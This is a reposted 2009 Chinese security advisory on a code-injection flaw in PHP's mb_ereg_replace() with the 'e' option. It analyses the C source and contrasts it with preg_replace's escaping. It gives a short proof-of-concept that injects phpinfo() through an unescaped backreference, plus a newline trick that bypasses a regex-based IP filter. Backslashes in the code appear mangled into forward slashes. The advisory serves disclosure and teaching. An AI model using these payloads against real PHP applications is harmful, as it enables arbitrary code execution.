mb_ereg(i)_replace()代码注射漏洞及其延伸出的正则应用安全问题 's

admin 2017年5月1日05:07:29评论382 views字数 5407阅读18分1秒阅读模式
摘要

author: ryat#wolvez.org
team:http://www.80vul.com
date:2009-04-30一 描叙mb_ereg_replace()是支持多字节的正则表达式替换函数,函数原型如下:

author: ryat#wolvez.org
team:http://www.80vul.com
date:2009-04-30

一 描叙

mb_ereg_replace()是支持多字节的正则表达式替换函数,函数原型如下:

string mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option= “msr” ] )

当指定mb_ereg(i)_replace()的option参数为e时,replacement参数[在适当的逆向引用替换完后]将作为php代码被执行,但php在处理这一过程中,存在安全隐患,可能导致绕过程序的逻辑执行任意代码,另外程序员对正则匹配替换认识不够[包括preg_replace等函数],容易饶过安全限制,导致安全漏洞.

二 分析

mb_ereg_replace()的代码:

// php_mbregex.c PHP_FUNCTION(mb_ereg_replace) {  _php_mb_regex_ereg_replace_exec(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0); } ... static void _php_mb_regex_ereg_replace_exec(INTERNAL_FUNCTION_PARAMETERS, OnigOptionType options) { ...  smart_str out_buf = { 0 };  smart_str eval_buf = { 0 };  smart_str *pbuf; ...   if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "Zss|s",          &arg_pattern_zval,          &replace, &replace_len,          &string, &string_len,          &option_str, &option_str_len) == FAILURE) {    RETURN_FALSE;   } ...  re = php_mbregex_compile_pattern(arg_pattern, arg_pattern_len, options, MBSTRG(current_mbctype), syntax TSRMLS_CC); // 编译模式,编译后的模式存储在re_pattern_buffer结构 ...  if (eval) {   pbuf = &eval_buf;   description = zend_make_compiled_string_description("mbregex replace" TSRMLS_CC);  } else {   pbuf = &out_buf;   description = NULL; // *pbuf,eval_buf,out_buf都是smart_str结构,结构说明如下: // typedef struct { //  char *c; //  size_t len; //  size_t a; // } smart_str;  }   /* do the actual work */  err = 0;  pos = string;  string_lim = (OnigUChar*)(string + string_len);  regs = onig_region_new(); // 分配内存,初始化re_registers结构,用于存储模式匹配值[num_regs成员为子模式匹配值个数,beg成员为模式及子模式匹配值的开始位,end成员为结束位]  while (err >= 0) {   err = onig_search(re, (OnigUChar *)string, (OnigUChar *)string_lim, pos, (OnigUChar *)string_lim, regs, 0); // 依据编译好的模式进行匹配 ...    /* copy the part of the string before the match */    smart_str_appendl(&out_buf, pos, (size_t)((OnigUChar *)(string + regs->beg[0]) - pos)); // 添加模式匹配值开始前的部分[用于函数的返回值]    /* copy replacement and backrefs */    i = 0;    p = replace;    while (i < replace_len) {     int fwd = (int) php_mb_mbchar_bytes_ex(p, enc);     n = -1;     if ((replace_len - i) >= 2 && fwd == 1 &&      p[0] == '//' && p[1] >= '0' && p[1] <= '9') {      n = p[1] - '0';     }     if (n >= 0 && n < regs->num_regs) {      if (regs->beg[n] >= 0 && regs->beg[n] < regs->end[n] && regs->end[n] <= string_len) {       smart_str_appendl(pbuf, string + regs->beg[n], regs->end[n] - regs->beg[n]); // 如果使用逆向引用且存在相应的[子]模式匹配值,就调用smart_str_appendl添加[子]模式匹配值[调用memcpy把值copy到pbuf->c+pbuf->len]      }     } else {      smart_str_appendl(pbuf, p, fwd);      p += fwd;      i += fwd;     }    } ...    if (eval) {     zval v;     /* null terminate buffer */     smart_str_appendc(&eval_buf, '/0');     /* do eval */     if (zend_eval_string(eval_buf.c, &v, description TSRMLS_CC) == FAILURE) {      efree(description);      php_error_docref(NULL TSRMLS_CC,E_ERROR, "Failed evaluating code: %s%s", PHP_EOL, eval_buf.c);      /* zend_error() does not return in this case */     }  // 如果option指定为e,就调用zend_eval_string处理eval_buf.c,也就是pbuf->c[先编译成opcode,在调用zend_execute处理opcode] //上面的代码mb_ereg_replace对所捕获的子模式的匹配值没有安全处理,直接调用zend_eval_string执行replace后的值. //这样将引来一些安全隐患:比如可以引入'来闭合之前的' ,另外我们也可以引入nullbyte来截断后面的代码[zend_eval_string是not binary safe的]:)

为了对比说明这个安全漏洞我们同样来分析下preg_replace()在/e下执行php代码的处理过程:

//preg_replace() ...    if (eval) {     eval_result_len = preg_do_eval(replace, replace_len, subject,               offsets, count, &eval_result TSRMLS_CC); // 在e修正符模式下调用preg_do_eval ... static int preg_do_eval(char *eval_str, int eval_str_len, char *subject,       int *offsets, int count, char **result TSRMLS_DC) { ...  smart_str    code = {0};   eval_str_end = eval_str + eval_str_len;  walk = segment = eval_str;  walk_last = 0;   while (walk < eval_str_end) {   /* If found a backreference.. */   if ('//' == *walk || '$' == *walk) {    smart_str_appendl(&code, segment, walk - segment);    if (walk_last == '//') {     code.c[code.len-1] = *walk++;     segment = walk;     walk_last = 0;     continue;    }    segment = walk;    if (preg_get_backref(&walk, &backref)) {     if (backref < count) {      /* Find the corresponding string match and substitute it         in instead of the backref */      match = subject + offsets[backref<<1];      match_len = offsets[(backref<<1)+1] - offsets[backref<<1];      if (match_len) {       esc_match = php_addslashes_ex(match, match_len, &esc_match_len, 0, 1 TSRMLS_CC); // 如果使用逆向引用且存在相应的[子]模式匹配值,就对所捕获的[子]模式匹配值调用php_addslashes_ex ...     smart_str_appendl(&code, esc_match, esc_match_len); // 添加[子]模式匹配值 ...  smart_str_appendl(&code, segment, walk - segment);  smart_str_0(&code);   compiled_string_description = zend_make_compiled_string_description("regexp code" TSRMLS_CC);  /* Run the code */  if (zend_eval_string(code.c, &retval, compiled_string_description TSRMLS_CC) == FAILURE) {   efree(compiled_string_description);   php_error_docref(NULL TSRMLS_CC,E_ERROR, "Failed evaluating code: %s%s", PHP_EOL, code.c);   /* zend_error() does not return in this case */  } // 调用zend_eval_string处理code.c

preg_replace()函数一样对所捕获的模式匹配值调用php_addslashes_ex.

三 测试代码:

<?php //mb_ereg(i)_replace() evaluate replacement string vulnerability function ryat() {}  $str = '/', phpinfo(), /''; mb_ereg_replace('^(.*)$', 'ryat(/'/1/')', $str, 'e');  ?>

四 其延伸出的正则应用安全问题

从上面对mb_ereg_replace()代码分析看看出mb_ereg_replace()函数整个处理过程可以简单描述为:

检查参数,编译pattern,依据编译后的pattern对string进行匹配,如果存在匹配值[没有模式匹配值,则把string作为返回值并返回],把string中模式匹配值前面的部分添加到返回值,对模式匹配值进行替换,如果replacement中使用逆向引用且存在相应的[子]模式匹配值,替换replacement中的逆向引用[注意这里没对替换的模式及子模式匹配值做任何处理,另外这里其实并非替换,具体处理过程请看上面的源码].如果option没有指定e,就把replacement添加到返回值;如果指定e,把replacement作为php代码执行,并把代码执行后的返回值添加到返回值.把string中模式匹配值后面的部分添加到返回值.返回返回值.

通过对mb_ereg_replace()正则替换流程的分析及很多的应用程序的代码分析,发现很多程序员对正则表达式替换函数[包括preg_replace等函数]的处理过程不了解可能导致一些逻辑错误.

测试如下代码:

<?php $onlineip = 'ryat'; echo $onlineip = preg_replace("/^([/d/.]+).*/", "//1", $onlineip); ?>

上面的代码直接输出ryat了,这个是由于正则替换时,当不匹配时,就返回原值的了.

来思考下这个问题的修补,比如:

<?php $onlineip = 'ryat'; echo $onlineip = preg_replace("/^([/d/.]*).*/", "//1", $onlineip); ?>

输出为空了,因为这个正则可以匹配$onlineip,所以这里会返回/1对应的子模式匹配值,好像完美的fix了?其实还可以绕过:

<?php $onlineip = "/nryat"; // $onlineip = "ryat/nryat"; echo $onlineip = preg_replace("/^([/d/.]*).*/", "//1", $onlineip); ?>

因为在没有用s模式修正符下.是不匹配的/n的,所以/nryat部分不被正则匹配,将会作为返回值[或者返回值的一部分]返回:)

五 实际应用

暂缺

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月1日05:07:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   mb_ereg(i)_replace()代码注射漏洞及其延伸出的正则应用安全问题 'shttps://cn-sec.com/archives/44718.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息